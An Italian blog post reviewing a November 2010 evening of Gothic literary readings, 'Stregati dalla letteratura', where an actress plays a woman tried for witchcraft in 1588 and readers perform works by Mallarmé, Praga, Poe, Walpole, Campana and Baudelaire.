20 Novembre 2010: Stregati dalla letteratura
- Posted by Cristiano Sabbatini
- on Nov, 26, 2010
- in Eventi
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Graffia di Polidoro, una giovane donna morta cinque secoli fa, accusata di essere una janara, una sicaria del demonio, è tornata tra di noi dall’oblio del tempo per parlare di come, in quel doloroso e ineluttabile 29 marzo 1588, venne costretta all’abiura dalla potente intransigenza dei tribunali ecclesiastici del XVI secolo.
E così, mentre le finestre dell’accogliente sala del “Gotan club” si appannano di vapore acqueo isolando gli incuriositi uditori dal mondo esterno, la serata “Stregati dalla letteratura” prende avvio in una suggestiva atmosfera presagendo inquietanti emozioni.
Graffia, nel corpo di Carla Maria Trapani, occhi misteriosi, corpo esile e voce poderosa, può finalmente rivelare la verità in merito alla sua condanna. Aveva detto di essere stata l’amante del Principe dei Demoni. Solo ora può dire che quella confessione le era stata estorta.
I dialoghi con l’occulto, accompagnati da una melodia dark ambient che si ode in sottofondo, proseguono attraverso le letture di magistrali pezzi di scrittura gotica elargite dalle voci distese e suadenti di Simona d’Urbano e Giulia Cherubini, facendoci assaporare il gusto per il mistero, il tetro e l’angosciante.
“Angoscia” del poeta maledetto per eccellenza, Stéphane Mallarmè, rende partecipe il pubblico di una verità oscura e infinita, esprimibile solo attraverso le allusioni, le suggestioni musicali e la magia delle parole, che in questa poesia si tingono di colori scuri e macabri, propri di un poeta vittima di un “tedio incurabile”.
“La morta del villaggio”, “Alla sultana” e “La fanciulla in delirio” del tenebroso e scapigliato Emilio Praga rendono un sapiente omaggio al gusto del macabro e dei contrasti violenti, attraverso la storia di una bambina rinchiusa in un avello o di un sogno che presagisce un matrimonio con l’inquietante presenza di un becchino, il tutto raccontato con un realismo colloquiale che fa contrarre le membra e rabbrividire i corpi.
Queste, solo alcune delle letture prima di scoprire che all’interno della sala si nasconde in incognito una strega, la strega Brunilda, che si appresta a raccontare un’accattivante favola, frutto dell’abilità scrittoria di Valeria Bellobono.
Si procede poi verso la lettura della “Dormiente” del maestro del “noir”, Edgar Allan Poe: i motivi della paura e del terrore, dell’angoscia e dell’ignoto, sotto le sembianze della natura, vanno a far visita a una donna dall’apparenza defunta, tanto è profondo il suo sonno.
Immancabili gli estratti da “Il castello di Otranto”di Walpole, considerato il primo romanzo gotico, ambientato nelle bellissime terre salentine.
L’atmosfera è nuovamente calda e il mistero alberga nuovamente nelle menti sotto la forma di sinistri personaggi e di biechi spiriti maligni.
Mentre i versi di “Notte” di Dino Campana, trasfigurati in simbolismo onirico, rimbombano ancora nell’aria, Baudelaire con “Sed non satiata” e “Rimorso postumo” risponde con un simbolismo allusivo, oscuro, che permette di accostare arbitrariamente immagini e sensazioni dedicate a donne, belle e tenebrose, trasformate in Proserpine che giacciono dormienti in un sogno infinito come la morte.
Ma fino a che punto l’occulto è solo fantasia, frutto dell’abile penna di sapienti scrittori dall’affascinante abilità scrittoria?
Con un pizzico di fiducia nel potere della superstizione, gli ospiti possono attingere le risposte alle proprie domande da pergamene accuratamente sigillate con cera lacca e disposte in un calderone di rame posto al centro della sala, con un serpente di ferro posto a guardiano. Questo, l’ultimo invito della strega Graffia di Polidoro, prima di lasciare per sempre il corpo di Maria Carla Trapani e ritornare nell’oblio del tempo.
Sara Farinola
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